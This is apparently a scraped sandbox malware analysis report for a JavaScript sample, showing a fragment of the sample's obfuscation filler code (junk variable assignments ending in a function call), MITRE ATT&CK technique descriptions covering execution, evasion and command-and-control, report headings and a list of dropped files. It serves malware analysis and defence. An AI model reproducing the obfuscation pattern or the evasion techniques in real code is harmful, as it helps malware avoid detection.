1424	gukxmpz = "A";
1425	gukxmpz = "e";
1426	gukxmpz = "G";
1427	gukxmpz = "U";
1428	gukxmpz = "w";
1429	gukxmpz = "m";
1430	gukxmpz = "i";
1431	gukxmpz = "R";
1432	gukxmpz = "o";
1433	djceufm = "f";
1434	djceufm = "z";
1435	djceufm = "G";
1436	djceufm = "s";
1437	djceufm = "M";
1438	djceufm = "v";
1439	djceufm = "L";
1440	djceufm = "C";
1441	jfjyrsjps = "y";
1442	jfjyrsjps = "R";
1443	jfjyrsjps = "h";
1444	jfjyrsjps = "u";
1445	jfjyrsjps = "I";
1446	jfjyrsjps = "a";
1447	jfjyrsjps = "Y";
1448	xgnuw = "l";
1449	xgnuw = "s";
1450	xgnuw = "I";
1451	xgnuw = "E";
1452	xgnuw = "c";
1453	xgnuw = "p";
1454	xgnuw = "Y";
1455	xgnuw = "f";
1456	xgnuw = "x";
1457	xgnuw = "B";
1458	xgnuw = "W";
1459	xgnuw = "i";
1460	xgnuw = "e";
1461	xgnuw = "H";
1462	xgnuw = "P";
1463	xgnuw = "n";
1464	xgnuw = "u";
1465	xgnuw = "m";
1466	xgnuw = "Y";
1467	xgnuw = "f";
1468	xgnuw = "n";
1469	xgnuw = "k";
1470	xgnuw = "r";
1471	xgnuw = "J";
1472	xgnuw = "K";
1473	xgnuw = "o";
1474	xgnuw = "U";
1475	xgnuw = "Q";
1476	xgnuw = "R";
1477	xgnuw = "c";
1478	xgnuw = "q";
1479	xgnuw = "Q";
1480	xgnuw = "k";
1481	xgnuw = "X";
1482	xgnuw = "D";
1483	xgnuw = "P";
1484	uzildcptt ( );	uzildcptt() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 19663169782459227955.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\89eadd73-04ea-4a9f-8be0-fefee5a4579c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8036

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
19663169782459227955.js